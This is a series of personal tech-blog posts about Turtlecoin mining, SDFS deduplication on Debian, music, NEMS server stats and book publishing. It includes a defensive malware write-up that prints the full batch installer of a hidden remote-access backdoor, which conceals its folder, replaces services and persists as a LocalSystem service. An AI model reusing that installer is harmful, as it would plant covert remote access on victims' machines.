It’s turtle time! Turtlecoin, that is.

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I’ve been mining TRTL for a little more than a week now, and it’s a blast.

Turtlecoin is fast becoming recognized for its amazing community.

One of the fun ways to obtain TRTL is by participating in a raindance.

A raindance happens when anyone donates 5,000 TRTL or more to the rainbot. At that time, it starts to “rain turtles” and anyone who “catches” them gets an equal portion of the rain. For example, if someone contributes 10,000 TRTL to the raindance and 100 people participate, each participant will receive 100 TRTL.

What makes it intense is that you only have 90 seconds to send the rainbot your wallet address and then click the icon that corresponds to the instructions you get back from rainbot. 90 seconds sounds like a long time, but when the rain is falling in a typhoon, it can get crazy.

Next Friday (a week from today) is going to be the most exciting raindance I’ve ever seen. Rather than donating to rainbot, everyone is meant to set their mining software to mine directly to the rainbot’s wallet. With enough participants (they’re expecting 160 or more) the rain could fall every 90 seconds!

I will be livecasting the Turtle Typhoon on YouTube, so make sure you subscribe to https://youtube.com/category5tv to get the notification when we go live!

Find out more about Turtlecoin at turtlecoin.lol. Make sure you get your wallet address setup in advance (so you can collect rain), and when you’re done, I’d welcome you to consider donating a portion of your TRTL to supporting Category5 TV.

Our wallet address is:

TRTLv1jdGp39FVqQRAgwM1jPyV2ZjhELDinfjEypobvP4Sbfr58aLjZ1kmoaen1Rr292h9zP9V8uB8GV7iHnEXyrjeFGZFsFERf

Here is the event announcement. You can check for updates by visiting their Discord and typing !tag typhoon

Turtle Typhoon – Mine the Storm!

You are Invited to the Raindance Party!

**From 8pmEST/1amGMT on Friday 9th March**

**THE RAIN PARTY WILL COMMENCE POWERED BY OUR MINING COMMUNITY**

If you would like to join the raindance here’s how to get started (rain will occur randomly before the set date also): http://github.com/turtlecoin/turtlecoin/wiki/Participating-in-Raindance

If you are mining TRTL and would like to donate to the rainbot during the Turtle Typhoon simply change your wallet_address in your xmr-stak config to the raindance donation address.

The raindance donation address is:

TRTLv3nW7vX3WXx5CRprf1ifYcY26yYPiVK9E6ocN91DKpUmqADA17n9qcE9QBCgJriGZZcbHuwwKFC8RomYVPDZah8dBN32BbZ

 

Automatically Deduplicating Data on Debian Linux

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Deduplication is the process by which a filesystem (or application) stores data by first comparing data blocks within the data and then only storing one copy of matching data blocks. By doing this, the files require significantly less space on the storage medium.

A good example (just for the sake of understanding) would be WordPress. Let’s say you have a web server with 10 WordPress sites. The WordPress source code in this example is 30 MB on its own. Your server will be storing 300 MB (10x 30 MB). By storing this on a deduplicating filesystem, it’ll be the original 30 MB plus a little overhead for the deduplication data… so let’s say for the sake of ease, your server will be storing just 31 MB for exactly the same data.

These are small numbers. But I recently opened an off-site backup service for NEMS Linux, and I need to be able to store daily backups for its users. Guess what? From day-to-day, a significant portion of those backups are very, very similar. Config files don’t generally change much from day-to-day, most days. So why store them in such a way that they take up 30x the space? Deduplicating is going to save me a ton of storage space.

I’ve been reading up on some deduplication options. My first go-to was btrfs, but it looks like they’re not quite ready yet, with inline deduplication residing only out of tree. I feel like when that feature is implemented in stable, btrfs will be my go-to… but for now, I need to find an alternate solution.

Lessfs is another one I peeked at, but once I noticed their “official” web site was offline, and distribution is done through Sourceforge, I moved on pretty quickly as it seems pretty obvious that either it’s a dead project or at least not a well-supported one.

Then I got looking at OpenDedup’s SDFS, which is a volume-based deduping filesystem, which sounds ideal for my use case, for now. I won’t hold the fact that it is Java-based against it just now as the functionality sounds perfect. Plus SDFS appears well-supported and professional in its presentation, which gives me hope for its future.

I’m going to add some more memory to my little server to accommodate the RAM requirements. Make sure your system has adequate RAM… SDFS likes to eat memory for breakfast. “The SDFS Filesystem itself uses about 3GB of RAM for internal processing and caching. For hash table caching and chunk storaged kernel memory is used. It is advisable to have enough memory to store the entire hashtable so that SDFS does not have to scan swap space or the file system to lookup hashes. To calculate memory requirements keep in mind that each stored chunk takes up approximately 256 MB of RAM per 1 TB of unique storage.” [Admin Guide]

If you’re not using Debian, check out their Quickstart Guide.

Installation of SDFS and its dependencies on my Debian system (would also work for any other Debian-based system like Ubuntu, as long as you are root user):

apt -y install libxml2-utils
wget -O /tmp/sdfs.deb http://www.opendedup.org/downloads/sdfs-latest.deb
dpkg -i /tmp/sdfs.deb

Next up, we need to increase the limit of how many files can be opened at once… again, as the root user:

echo "* hard nofile 65535" >> /etc/security/limits.conf
echo "* soft nofile 65535" >> /etc/security/limits.conf

Next up, I need to create the volume itself, but I want to be specific about where it is stored. In this example I will call the volume “myvolume” and I will store it in a folder called raw_volume in my home folder… this way I know not to touch it (as it is raw):

mkfs.sdfs --hash-type=VARIABLE_MURMUR3 --volume-name=myvolume --volume-capacity=100GB --base-path=/home/robbie/raw_volume

Once created, if you’d like to see the status, type:

sdfscli --volume-info

…and you can view/edit the configuration in the file /etc/sdfs/myvolume-volume-cfg.xml where myvolume is whatever you named yours with –volume-name above.

The reason I’m specifying to store in my home folder is because it will then be part of my backup set (without having to manually add it) and also because my home folder is on a different, bigger drive than the /opt folder, which is where SDFS would default to.

You’ll also notice in the above command I’ve set the capacity to 100GB. It won’t actually take this much space on my drive right now. That is the maximum I’m allowing the volume to become. You can change that to anything you like, to suit your need. On the disk itself (in /home/robbie/raw_volume by my example) the SDFS volume will actually only take up the amount of space of the deduplicated data. If you ever need to make the volume bigger, you can do so by typing the following with the volume unmounted: sdfscli –expandvolume 512GB

Also, since this is a local filesystem, I’ve specified to use a variable block size, which could reduce the amount of space and improve the deduplication.

Now I need to create the mountpoint and mount the SDFS volume so I can start writing data to it:

mkdir /home/robbie/backup
chattr +i /home/robbie/backup

Now let’s prepare the mount.sdfs command:

nano /sbin/mount.sdfs

Scroll to the end of the file and remove “-Xmx$MEMORY$MU”, and edit “-Xms$MEMORY$MU” to instead read “-Xms1M”.

So my final command looks like this:

LD_PRELOAD="${BASEPATH}/bin/libfuse.so.2" $EXEC -server -outfile '&1' -errfile '&2' -Djava.library.path=${BASEPATH}/bin/ -home ${BASEPATH}/bin/jre -Dorg.apache.commons.logging.Log=fuse.logging.FuseLog -Xss2m \
 -wait 99999999999 -Dfuse.logging.level=INFO -Dfile.encoding=UTF-8 -Xms1M \
-XX:+DisableExplicitGC -pidfile /var/run/$PF -XX:+UseG1GC -Djava.awt.headless=true \
 -cp ${BASEPATH}/lib/* fuse.SDFS.MountSDFS "$@"

Then, mount it to test:

mount.sdfs myvolume /home/robbie/backup

Try writing some data to the the mountpoint. If all went well, all should work and automatically dedupe. As I write data to /home/robbie/backup, it is automatically deduplicated to save space!

Next up, adding it to fstab!

If all went well, unmount it and make it so it automounts.

umount /home/robbie/backup

Despite what some people are saying online, yes, you can indeed mount sdfs filesystems using fstab! It’s a fuse-based filesystem! #facepalm

Here’s how I added it to my fstab:

myvolume /home/robbie/backup sdfs defaults,noatime,rw,x-systemd.device-timeout=5 0 0

All is working great, but it’ll be most interesting to see what begins happening once I exceed ~1 GB storage and deduplication starts doing its thing.

The Results

To see the difference in usage, I like simply using this command:

ls -lskh

This will output something along the lines of this:
47K -rw-r–r– 1 root root 1.6M Feb 2 10:02 test2.txt
1.5M -rw-r–r– 1 root root 1.6M Feb 2 09:55 test1.txt

You’ll notice I’ve colorized the filesizes. The first set (indicated in orange) represents the actual usage on disk thanks to deduplication. The second set (blue) is the actual filesize.

I even noted that copying multiple copies of the same file, the “extra” copies showed a use on disk size of 0B! Yes, the impact is so small it didn’t even register! Brilliant.

Shan Vincent de Paul – Walk On Water

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I heard this track on CBC Radio on my way home from work and pulled over so I could take it all in and inevitably catch the title. The tasteful autotune in the first verse caught my ear and forced my right hand to turn the dial till I found 11… and the skippy beat at 0:39 sealed the deal. The moment I got home, this went on repeat.

And if you’re digging it like I’m digging it, here’s an interview on CBC Radio that you may enjoy…

https://soundcloud.com/cbchereandnow/shan-vincent-de-paul-is-our-song-of-the-week-artist

TheFatRat – Monody (feat. Laura Brehm)

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It’s no secret that I love Celtic music–with a name like Robbie Ferguson I darned-well better–and TheFatRat seems to have some Celtic spirit in him too.

It’s also no secret that while I’ve never been a big gamer, I absolutely adore the nostalgia of retro video games, and TheFatRat again appeals to this love with some synth riffs that take me back to chiptunes of the 80s.

Simply put, this song puts a giant grin on my bald face.

Gareth Emery ft. Wayward Daughter – Reckless (BL3R Remix)

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I. Love. This. Song!!

Some tracks just demand my player warning of permanent hearing damage, and this is one of them. When the bass comes in and my eardrums tingle, I know I’m where I want to be.

That beat drop at 1:24 and subsequent synth squelches makes me excited to be alive. And her voice… oh, her voice. Wayward Daughter shows us why Vocal Dubstep is the genre of choice for those of us who love and appreciate true melodic dubstep and talented vocal chops.

Gareth brings in the synth with old school frequency envelopes that seamlessly meld 2017 with 1998.

Enjoy! You can thank me later.

Bad SD cards in a NEMS Server Raspberry Pi

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With the coming release of NEMS 1.3, the retroactive stats system was implemented to allow me a way to see how many systems have been upgraded, and if any are having trouble.

Now, behind the scenes, I also developed the anonymous stats system as a way for me to gauge system load on various platforms.

Why would I do that? Because NEMS is branching out onto other SBC’s, starting with the ODROID XU4.

The fact remains, I often get the question “How many hosts can I add to NEMS” and the truth is, I have no idea! I’ve received great feedback from users who are monitoring 100+ hosts on a Raspberry Pi NEMS server, but otherwise I don’t really know much about what’s actually going on in the real world of NEMS.

So the stats system shows me, anonymously, how NEMS is being used, and how it is performing.

So, that system has been running for a few days, and today I began seeing some alerts: some users have bad SD cards!

This is causing their NEMS server to run very, very slowly.

If your NEMS server is running slowly, you may be one of these! Remember, the stats are anonymous, so I can’t contact you.

I’ve considered making the stats system able to send back a response to your NEMS server… that way, even though it’s anonymous and I don’t know who you are, I can have the system programmatically warn you that your card is failing.

It’s really quite cool for me to see how NEMS is being used. So far more than 100 NEMS servers have reported in with their current statistics, and many are running more than 100 nagios monitors with a 0.01 load average.

So back to my comment about branching out to other SBCs and knowing how many hosts we can handle on NEMS: the fact is, now that I will have real world statistical data, I will be able to put together proper information about how many services can be running on NEMS on various platforms! It’ll start with the Pi 3 obviously, but I’ll be able to see for example, how a NEMS server with 500 hosts has a higher load than one with 100, so we can therefore recommend if you have 500 hosts or more, you should install on an ODROID XU4 (for example). I’ll also be creating new graphs that show comparisons of various platforms, performance graphs over time, averages based on user deployments, and so-on. Really exciting stuff!

Thanks for using NEMS! If you have any questions, I’m here for you!

Robbie

A nasty piece of work in C:\ProgramData\WindowsWork

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I encountered a nasty bit of malware today which wasn’t being seen by antivirus. Malwarebytes was popping up every 5 seconds with a warning that some executable file on Windows 10 was trying to reach a blocked web site… tektonit.ru

A quick Google search made it clear that the domain being contacted is associated with the Troj/RemAdm-AG and Backdoor.Gussdoor trojans, the second of which opens a backdoor to the domain in question. The attacker then has access to read and write files, access the registry, spawn processes and even take screenshots. In our case, they also installed keylogger.bestfreekeylogger.a which lets them record keystrokes like passwords, credit card numbers, emails, or any other content entered via the computer.

Nasty.

The user had both a McAfee antivirus product and Avast Free installed. Neither of which were really complaining about the threat, yet Malwarebytes continued its little dance in the corner “Website blocked – Domain: tektonit.ru” and variants thereof.

Malwarebytes also did something else nice for me: it showed the process location. It was running a file in C:\ProgramData\WindowsWork, which to an end-user appears to not exist if you try to navigate to it.

I installed ESET Internet Security, which picked up and removed the keylogger (two variants) that the other applications left behind, but the malware reaching out to the attacking server was not detected.

Jumping into an admin terminal, the directory doesn’t show since its attributes are set to +s +h (system, hidden). Within the folder, the files themselves are also hidden and set with the system attribute, making them pretty much invisible to end users. And strangely, antivirus also did not see it.

Removing the attributes, I was now able to see and open the files. One such file was the installer used to deploy the malware.

Here’s how it installed itself:

@echo off
attrib +s +h "C:\ProgramData\WindowsWork"
cd C:\ProgramData\WindowsWork\
 
sc stop RManService
sc stop ServiceWork
sc delete RManService
sc delete ServiceWork
taskkill /im rfusclient.exe /f
taskkill /im rutserv.exe /f
reg delete "HKLM\SYSTEM\System Information\Driver" /f
 
regedit /s "C:\ProgramData\WindowsWork\config_set.reg"
"C:\ProgramData\WindowsWork\syswork.exe" /silentinstall
"C:\ProgramData\WindowsWork\syswork.exe" /firewall
regedit /s "C:\ProgramData\WindowsWork\config_set.reg"
sc failure ServiceWork reset= 0 actions= restart/1000/restart/1000/restart/1000
sc config ServiceWork obj= LocalSystem type= interact type= own
"C:\ProgramData\WindowsWork\syswork.exe" /start
 
del C:\ProgramData\WindowsWork\config_set.reg /q
del C:\ProgramData\WindowsWork\WinUpdate.exe /q
del C:\ProgramData\WindowsWork\WorkInstall2.bat /q
attrib +s +h "C:\ProgramData\WindowsWork\*.*"
del C:\ProgramData\WindowsWork\WorkInstall.bat /q
 
exit

Interesting, in that this now sheds some light on why antivirus isn’t picking it up… it’s likely not even a virus. And to boot, UAC would have stopped this script from running, which means the end user had to have allowed it. Once again proves my point that Windows UAC is useless because novice users will just say yes to any stinking dialogue you throw at them!

So the script, as you can see, destroys legitimate Windows services and replaces them with itself. That makes it tough to detect.

I killed the services, deleted the services, and then purged all the files in the C:\ProgramData\WindowsWork\ and removed the folder. Instantly, Malwarebytes went to sleep.

A reboot and full system scan as administrator with ESET Internet Security, and all looks well. Hopefully the firewall in EIS will do a better job of keeping the user from answering “Yes” to the wrong questions… but ultimately it’s up to educating users to think, and understand, before clicking.

The malware is gone. However, there’s no way to know how far the attacker got. It appears as though the service files were not viruses at all, but rather basic programs that reach out to tektonit.ru to obtain legitimate malware and install it. Basically, the stuff in C:\ProgramData\WindowsWork\, which the user authorized being installed, was benign from an antimalware standpoint. It was not a virus: it was a tool being used by an attacker to propagate their tools, malware and possibly viruses/trojans. But because of the nature of it, it also worked as a bit of a smokescreen.

In this instance, had Malwarebytes’ Premium version not been installed (which does active protection, not just on-demand scanning), the user would have been wide open to the smokescreen application and its desire to install all kinds of unknowns on the user’s system.

ESET Internet Security is now installed, along with Malwarebytes Premium. These two products combined should provide about the best level of protection available to Windows users today.

Get ESET Internet Security: https://cat5.tv/esetus

Get Malwarebytes Premium: http://amzn.to/2x2HCz2

My Wife, The Author: My Adventures in Book Publication

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When my wife and I married in 2001, I knew she had a passion for writing.

One of the first things she wrote was an account of our love story, and how we met on ICQ; one of the early instant messenger apps before MSN, Facebook or Twitter existed. To allow her to have a printed copy of the account, called I Seek You, I taught myself how to use Cafepress, and I began my first quest at self-publication.

Then, 2006 came around, which brought about the culmination of several years work for Bekah. Having teamed up with her sister, Abigail, her first full-length novel, Weeping Willow, was released, followed in the same year by her independent novel, based in Toronto called The Starfish. To make it possible, I’d used what I had learned to publish them both via CafePress, and two beautiful new paperbacks with my wife’s name on their spine adorned our book shelf… later followed by another, another, and yet another.

Throughout the process over the years, I was able to establish ourselves with Library Archives Canada, basically making us an “official” Canadian book publishing company. One of the coolest features of this affiliation is that I could now issue my own ISBN and later, ISBN-13 codes. In other words, I didn’t have to pay someone else a hefty fee to register Bekah’s books, and we could now print our own barcodes which allowed us to sell them.

So that’s a quick bit of backstory for you as to how I got into self-publishing novels. I’ve personally grown and evolved my abilities, and am always, for the sake of my wife’s readers, working hard to make our publications as professional looking as possible.

By the time Bekah was ready to release her biggest release to date, A White Rose in 2012, I’d been able to really step things up in the publishing department, doing away with CafePress entirely, and working directly with what we called the “world’s biggest book store” at the time, Amazon. Suddenly, not only were Bekah’s books available for purchase all around the world through Amazon’s family of sites, but also available on their Kindle e-reader. The printing itself is done through a child company of Amazon called CreateSpace.

Side Note: I’ll say now, self-publication is not for everyone. If you’re reading this and thinking “Wow, I can publish my own books with these sites,” you should know it has taken 11 years for me, a teacher of tech and full-time tech industry worker, to learn the ins-and-outs of the process, and to get to the quality of publication that I am at today. Maybe one day, someone will request that I edit and publish their book for them. That’d be cool. In all honesty, the bill would be at least $2,000 to do it, just for the labor. Hope that gives you an idea of how much work is actually involved.

So, this month, August 2017, is another big one for our “publishing house”–called Rock of Ages Publishing House, named after the popular online radio station I founded and ran for many years in the early days of online radio.

After countless hours, we have released not one, but two new novels this month.

The first is Bekah’s newest and proudest work, When The Fog Cleared. We call it a Christian Romance as far as genres are concerned, but Bekah’s very “non-preachy” approach to faith is truly unmatched. It’s not, in my opinion, a Christian Romance in the traditional sense, but rather, a beautiful romance and story of true love, involving a Christian character. If you’ve read Bekah’s books before, you already know she creates characters who you feel you know like a real person. The people in her book are so real to the reader, it’s kinda mind-blowing. You’ve got to read it.

The second is another joint effort, this time with her other sister, Rachel Xu. And it’s a long time coming! They finished writing it in 2014, and I’ve finally been able to edit and publish it. This one is a Mainstream Fantasy. Creatures, wild things, and a Gothic mansion. Need I say more? The Attic is such a fun read that you will definitely want to get the paperback just so you can keep it on your bookshelf or share it with friends.

So how did I publish two novels in just one month?

I locked in. Many, many hours with my Rebel BT’s, my playlist, and my laptop computer. I did everything using open source software. The GIMP was used to create all the cover art, and I used LibreOffice Writer to actually create the layouts and files. That bit was brutal… figuring out margins and pagination, making sure you have the book or author name at the top of the appropriate pages, but not at the top of chapter pages. I even took special care to ensure there was just enough room at the edge of the page that your fingers wouldn’t obstruct the text, and just a bit more near the binding to ensure the text doesn’t run into the fold. It was a lot of work to setup. But I did it all for When The Fog Cleared. Then, having gotten through that novel, I took the files I had created and imported the text for The Attic, which was long overdue for public release. Recycling the same layouts, the same master files, and the same dimensions, saved hours upon hours of work, and gave me a very good looking layout (as I’d spent so much time creating the format). I then did all the edits from our notes, reformatted the break point artwork, and through an onerous process of back and forth with the editors, I was able to complete our second publication this month.

I hope you love both novels, and can’t wait to start seeing your (5/5?) reviews on Amazon! Thanks for reading!

Robbie

WHEN THE FOG CLEARED – http://amzn.to/2etypZf
When Kylie Cadore arrived at her father’s Georgian home in Bermuda for a summer vacation, she wasn’t expecting to find his common-law wife, Pearl, hiding a mysterious illness from him. And a handsome cousin. Having journeyed to the island after several months of separation from her husband, Drew, Kylie hoped to gain clarity amidst the palm trees and sandy shores. Instead she found herself drawn like a magnet to the charms of Pearl’s cousin, a cruise ship pianist. When Drew unexpectedly shows up on the island a couple of weeks later, Kylie’s heart is torn between the prospect of a new romance, and still loving the man who broke her heart.

THE ATTIC – http://amzn.to/2wmR5jE
When Lily Kline takes possession of a Gothic estate with Ian Hawke, her co-heir and a stranger, she soon realizes there is more than meets the eye within the many corridors of the sequestered mansion. Ian is aloof and even hostile at times, and though he warns about rabid wolves in the forest, as though trying to frighten her away, she can’t help being drawn to him. As events grow more bizarre, she questions her safety and Ian’s identity. Why did her late Grandfather see fit to make them co-heirs? Furthermore, what lurks in the attic, that hidden room everyone takes pains for her to avoid?